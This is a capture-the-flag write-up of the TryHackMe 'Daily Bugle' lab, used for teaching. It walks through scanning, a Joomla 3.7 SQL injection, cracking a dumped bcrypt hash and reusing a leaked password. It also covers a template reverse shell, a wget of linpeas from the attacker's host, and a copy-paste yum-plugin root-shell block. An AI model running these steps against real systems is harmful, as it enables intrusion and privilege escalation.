TryHackMe CTF: Daily Bugle (Hard)

URL: https://tryhackme.com/room/dailybugle Hard
PHASE 1: Reconnaissance
Description of the room:
Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum.
PHASE 2: Scanning & Enumeration
Running: nmap
Ran the following:
nmap -sCV x.x.x.x
Interesting ports found to be open:
PORT STATE SERVICE REASON
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
| 256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_ 256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3306/tcp open mysql MariaDB (unauthorized)
Also see: nmap.log
Running: gobuster
Ran the following:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://x.x.x.x
Interesting folders found:
/images (Status: 301) [Size: 235] [--> http://10.10.239.38/images/]
/media (Status: 301) [Size: 234] [--> http://10.10.239.38/media/]
/templates (Status: 301) [Size: 238] [--> http://10.10.239.38/templates/]
/modules (Status: 301) [Size: 236] [--> http://10.10.239.38/modules/]
/bin (Status: 301) [Size: 232] [--> http://10.10.239.38/bin/]
/plugins (Status: 301) [Size: 236] [--> http://10.10.239.38/plugins/]
/includes (Status: 301) [Size: 237] [--> http://10.10.239.38/includes/]
/language (Status: 301) [Size: 237] [--> http://10.10.239.38/language/]
/components (Status: 301) [Size: 239] [--> http://10.10.239.38/components/]
/cache (Status: 301) [Size: 234] [--> http://10.10.239.38/cache/]
/libraries (Status: 301) [Size: 238] [--> http://10.10.239.38/libraries/]
/tmp (Status: 301) [Size: 232] [--> http://10.10.239.38/tmp/]
/layouts (Status: 301) [Size: 236] [--> http://10.10.239.38/layouts/]
/administrator (Status: 301) [Size: 242] [--> http://10.10.239.38/administrator/]
/cli (Status: 301) [Size: 232] [--> http://10.10.239.38/cli/]
Also see: gobuster.log
Running: nikto
Ran the following:
nikto -h x.x.x.x
Interesting info found:
+ Server: Apache/2.4.6 (CentOS) PHP/5.6.40
+ /: Retrieved x-powered-by header: PHP/5.6.40.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /robots.txt: Entry '/bin/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/includes/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/plugins/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/tmp/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/administrator/' is returned a non-forbidden or redirect HTTP code (). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/cli/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/libraries/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/layouts/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/modules/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/cache/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/components/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/language/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: contains 14 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ RFC-1918 /images: IP address found in the 'location' header. The IP is "fe80::4a:61ff:fe51:805b". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "fe80::4a:61ff:fe51:805b". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ PHP/5.6.40 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.6 - PHP 3/4/5 and 7.0 are End of Life products without support.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
Also see: nikto.log
Exploration
OK, we have a lot to start from. Let’s enumerate the interesting stuff:
- Target is running: SSH, an Apache web server with PHP support, and has MariaDB exposed.
- The
robots.txt
reports lots of misconfiguration. - Apache and PHP are old, unpatched versions.
- If we simply view the website, we see there is a login form, a post that was written by user
Super User
, and if you View Source, we can see this is a Joomla website. From/README.txt
we see that this is v3.7, specifically. - From
gobuster
, most of those folders are for the Joomla site, but some may not be?
Joomla looks to be an open source Content Management System (CMS):
Use searchsploit
or ExploitDB (SQLMap)
One place to start is to look for exploits for this specific version of Joomla. When I run:
searchsploit joomla 3.7
That gives me some things to look at:
------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------- ---------------------------------
Joomla! 3.7 - SQL Injection | php/remote/44227.php
Joomla! 3.7.0 - 'com_fields' SQL Injection | php/webapps/42033.txt
Joomla! Component ARI Quiz 3.7.4 - SQL Injection | php/webapps/46769.txt
Joomla! Component com_realestatemanager 3.7 - SQL Injection | php/webapps/38445.txt
Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting | php/webapps/43488.txt
Joomla! Component J2Store < 3.3.7 - SQL Injection | php/webapps/46467.txt
Joomla! Component JomEstate PRO 3.7 - 'id' SQL Injection | php/webapps/44117.txt
Joomla! Component Jtag Members Directory 5.3.7 - Arbitrary File Download | php/webapps/43913.txt
Joomla! Component Quiz Deluxe 3.7.4 - SQL Injection | php/webapps/42589.txt
------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
From this, the second one (42033.txt
) seemed to be the most straight-forward. That gives instructions on how exploit a SQL Injection (SQLi) vulnerability using sqlmap
. So, I ran:
sqlmap -u "http://10.10.239.38/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" \
--risk=3 --level=5 --random-agent --dbs -p list[fullordering]
The first (44227.php
) looks like it requires the ability to run that PHP code on the server, which we can’t do yet. The rest are vulnerabilities for specific components where we don’t know if any of those are installed.
SQLMap ran for about :10 minutes while I was exploring and ultimately did not find anything.
Using the Joomla Python Exploit + JTR
Whilst searching for the product, version, “exploit”, and “github”, several sites pointed to the SQLMap approach above. There is a specific Github repo that has a single Python file:
I download that run:
python3 ./joomblah.py
Within just a minute or two it found the “Super User” user: user Id (number), display name, username, email, and some jumbled text that is probably a hash of their password.
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
We can identify that starting $2
as probably a bcrypt
hash. So, we put this value in a file called hash.txt and then we run John The Ripper (JTR) against it with RockYou:
clear && john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt
Within about 5 minutes, JTR cracks the password.
PHASE 3: Gaining Access
Using the password that JTR found, we can now log in to /administrator/
URL with jonah
as the username, and the JTR password. We can now view the administration of the Joomla site.
Unprivileged Access
An obvious place to start for a reverse shell would be the “Media” section of the admin console. We could upload a PHP file, and then “view” it, to execute it. Despite us being a Super User, and there being options for allowing/disallowing specific file extensions and content-types, I could not get a file to upload.
So, after some googling one way to run your reverse shell PHP is edit/overwrite a file from the theme, similar to Wordpress. So, according to this page for example, you can pick the unused “Beez3” template, override the /index.php
with your reverse shell, and then navigate to /index.php
. On this page:
/administrator/index.php?option=com_templates&view=styles
You can set the “Default” theme. So, make your changes, go access /index.php
in another instance, and then set the default back again.
Exploring
If we run sudo -l
to see if we can run anything as root
, I get an error:
sudo: no tty present and no askpass program specified
For the life of me, I can’t seem to upgrade this shell experience, so I can’t get this to work.
Next, I check my groups and see if my groups own anything weird:
# List the groups I belong to:
groups
# Search the whole file system for files that are owned by this group:
find / -group apache -type f 2>/dev/null
I noted that suexec
is one of the files, but after some research about exploits for it, it’s not privilege escalation, it’s just to run commands as the apache
account, and we’re already logged in as that account. Run searchsploit suexec
to learn more.
Next, looking around we find /var/www/html/configuration.php
which has database credentials. We also see there is one user jjameson
on the box. Let’s see if by-chance that password is also for jjameson
? It IS.
The user flag is available here: /home/jjameson/user.txt
Rabbit-Hole: Linpeas + old OS/Kernel
Next, let’s get Linpeas on that machine. I host a quick web server from my ~/Downloads
folder with python3 -m http.server 8000
. Then, from the target, I run:
wget http://10.6.90.119:8000/linpeas.sh
When we run that, most of what it finds is going to be related to the old OS and old Linux kernel. Running:
uname -a
cat /etc/os-release
Respectively produce:
# uname
Linux dailybugle 3.10.0-1062.el7.x86_64 #1 SMP Wed Aug 7 18:08:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
# /etc/os-release
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"
CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"
So, doing a:
searchsploit linux kernel 3.10.0
There are several exact matches. Ultimately, I find credentials in /configuration.php
, so I abandoned this path.
Privilege Escalation
We are currently SSH’ed into the target as jjameson
using the password found in /var/www/html/configuration.php
. We can run a: sudo -l
:
Matching Defaults entries for jjameson on dailybugle:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME
HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User jjameson may run the following commands on dailybugle:
(ALL) NOPASSWD: /usr/bin/yum
Doing a quick search on gtfobins, gives us an easy solution:
I’ll recreate it here. We basically construct a plug-in that just spawns a shell. Then we tell yum
to run our plug-in. You can copy/paste this block of code:
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enableplugin=y
You now have a root
prompt. The root flag is available at: /root/root.txt